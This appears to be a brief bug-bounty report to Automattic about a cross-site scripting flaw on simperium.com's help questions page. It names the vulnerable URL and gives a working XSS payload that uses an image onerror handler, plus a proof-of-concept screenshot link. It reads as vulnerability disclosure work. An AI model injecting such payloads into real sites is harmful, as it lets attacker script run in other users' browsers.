xss in simperium.com

How it was found

Hello Automattic,

I found xss here simperium.com

XSS Payload: '"><img src=x onerror=prompt(document.domain);>

Vulnerable Link: https://simperium.com/help/questions/

Proof of Concept: http://i.imgur.com/E4CM58A.png

Thanks, Jerold Camacho